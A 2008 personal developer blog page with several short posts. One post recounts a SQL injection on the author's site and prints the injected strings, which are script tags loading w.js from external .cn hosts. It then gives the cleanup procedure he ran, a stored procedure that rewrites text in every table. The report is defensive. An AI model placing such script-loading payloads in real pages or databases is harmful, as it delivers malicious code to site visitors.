TypeLibBuilder.exe Frequent Crashes in Visual Studio 2008 SP1


TypeLibBuilder.exe has stopped working

I am starting to pull off my hair. I am working on some ASP.NET MVC project and whenever I am working in Source View of any .aspx page I get an annoying window informing me that TypeLibBuilder.exe has stopped working. It shows up every 5 seconds making it impossible to work in Visual Studio 2008.

With a quick Google search, I found the solution to this issue blogged by Josh Berke. Strangely, the software Digital Persona that handles the finger print sensor authentication and authorization on my HP dv2775ee laptop conflicts with TypeLibBuilder.exe.

image

Simply killing the process dpAgent.exe solved the whole issue for me..

kick it on DotNetKicks.com




My Website's SQL Database was Hacked


I received an email from my website manager indicating several errors across  different pages. I hate days that start with issues like that, I first thought that someone again broke the website through an edit. But Beyond Compare told me I was totally wrong. I dug even further and realized that values returning from the database were incorrect.

Going down further I opened a whole table with 2 columns containing weird data. Column values have been altered with the following string concatenated to the original value:

"></title><script src="http://www3.800mg.cn/csrss/w.js"></script><!--

"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--

image

Thank god the original value was still there or I would be crying right now instead of writing this blog post. This is called Code injection and in this case it's using a Cross Site Script to run in the user's browser.

At first I thought a single table was infected. So I wrote a small Linq To Sql code that fixed it. I then came to realize that the matter was worse and a lot of tables have been infected!

I did a quick search for "search and replace" SQL stored procedure and found SearchAndReplace. The SP simply takes a Search string and Replace string and then goes through ALL tables then each column and row and replaces all occurrences.

I quickly ran the following:

USE [databasename]
GO

DECLARE    @return_value int

EXEC    @return_value = [databasename].[SearchAndReplace]
        @SearchStr = N'"></title><script src="http://www3.800mg.cn/csrss/w.js"></script><!--',
        @ReplaceStr = N''

SELECT    'Return Value' = @return_value

GO

image And voila, the website was back on track. I had over 80,000 occurrences! The stored procedure took less than 10 seconds. I thought it would take longer time to execute.

I changed the database password to something tougher (combination of numbers and lower and upper case letters). I also removed the SearchAndReplace stored procedure ;)

 

Now that I am happy again, I comfortly searched  Google for the same injected code and found TONS of infected websites, 840 to be exact!! ASP.NET, JSP, PHP...this virus got everybody.

 

For reference, here's the stored procedure:

CREATE PROC SearchAndReplace
(
    @SearchStr nvarchar(100),
    @ReplaceStr nvarchar(100)
)
AS
BEGIN

    -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
    -- Purpose: To search all columns of all tables for a given search string and replace it with another string
    -- Written by: Narayana Vyas Kondreddi
    -- Site: http://vyaskn.tripod.com
    -- Tested on: SQL Server 7.0 and SQL Server 2000
    -- Date modified: 2nd November 2002 13:50 GMT

    SET NOCOUNT ON

    DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110), @SQL nvarchar(4000), @RCTR int
    SET  @TableName = ''
    SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
    SET @RCTR = 0

    WHILE @TableName IS NOT NULL
    BEGIN
        SET @ColumnName = ''
        SET @TableName = 
        (
            SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
            FROM     INFORMATION_SCHEMA.TABLES
            WHERE         TABLE_TYPE = 'BASE TABLE'
                AND    QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
                AND    OBJECTPROPERTY(
                        OBJECT_ID(
                            QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
                             ), 'IsMSShipped'
                               ) = 0
        )

        WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
        BEGIN
            SET @ColumnName =
            (
                SELECT MIN(QUOTENAME(COLUMN_NAME))
                FROM     INFORMATION_SCHEMA.COLUMNS
                WHERE         TABLE_SCHEMA    = PARSENAME(@TableName, 2)
                    AND    TABLE_NAME    = PARSENAME(@TableName, 1)
                    AND    DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')
                    AND    QUOTENAME(COLUMN_NAME) > @ColumnName
            )
    
            IF @ColumnName IS NOT NULL
            BEGIN
                SET @SQL=    'UPDATE ' + @TableName + 
                        ' SET ' + @ColumnName 
                        + ' =  REPLACE(' + @ColumnName + ', ' 
                        + QUOTENAME(@SearchStr, '''') + ', ' + QUOTENAME(@ReplaceStr, '''') + 
                        ') WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
                EXEC (@SQL)
                SET @RCTR = @RCTR + @@ROWCOUNT
            END
        END    
    END

    SELECT 'Replaced ' + CAST(@RCTR AS varchar) + ' occurence(s)' AS 'Outcome'
END
kick it on DotNetKicks.com



Typemock version 5.0 JUST RELEASED


image As I am writing this post, the team behind typemock are releasing version 5.0!!!

They now are more flexible and offer an open-source license granted for OSS projects.

Typemock is my personal favorite mocking framework. You just can't unit test your code without mocking.

 

Now go download the new version 5.0 commercial and open-source.




Firefox 3 Download day 17 July 2008


Download Day 2008 Set a Guinness World Record Enjoy a Better Web Sounds like a good deal, right? All you have to do is get Firefox 3 during Download Day to help set the record for most software downloads in 24 hours - it’s that easy. We're not asking you to swallow a sword or to balance 30 spoons on your face, although that would be kind of awesome. The official date for the launch of Firefox 3 is June 17, 2008. Join our community and this effort by pledging today.



Replacing Launchy with Windows Vista's Start Menu


image I was addicted to Launchy back on my old Dell latitude D420. It had Windows XP with Launchy. I went through documents in a snap making most of my friends impressed. Anything I could think of, a program or even a document, was exactly 1 second away from the moment I needed it.

Now with my HP Pavilion dv2775ee with Vista Home Premium 64, I wanted the same functionality. I knew about it's "Search" capability in launching applications. But I wanted to open pdf ebooks, documents..etc in the same manner.More...




Flickr

Oroba Tunnel in Salah Salem Road [Cairo]  [NOT HDR]

Subscribe

RSS Feed
Add to Technorati Favorites
AddThis Feed Button


Subscribe by Email


Search

About Me

AA. I am Mohamed Salem Korayem. I work as an Embedded Software Engineer in a major international automotive supplier company here in Cairo, Egypt.

Currently I work in the Tooling Dept. where I, and the rest of the team, strive to make our fellow embedded software geeks happier. I work mainly with the .NET 2.0 using C#.

I also have a big appetite for web-development. I like analyzing the revolution of the web (aka Web 2.0) and how it affects people's lives in return. I develop web-apps with ASP.NET 2.0/Python in my free time. For client-side stuff, I use jQuery for all that Javascript magic.

What I muse, I share on this blog. So enjoy reading my mind and in case you like what you read, kindly subscribe by either email or RSS.

Email me!


Calendar

<<  September 2008  >>
MoTuWeThFrSaSu
25262728293031
1234567
891011121314
15161718192021
22232425262728
293012345

View posts in large calendar

Archive

Tags

Categories

Blogroll

OPML fileOPML

PersonalLinks



page counter Directory of Computers/Tech Blogs

Sign in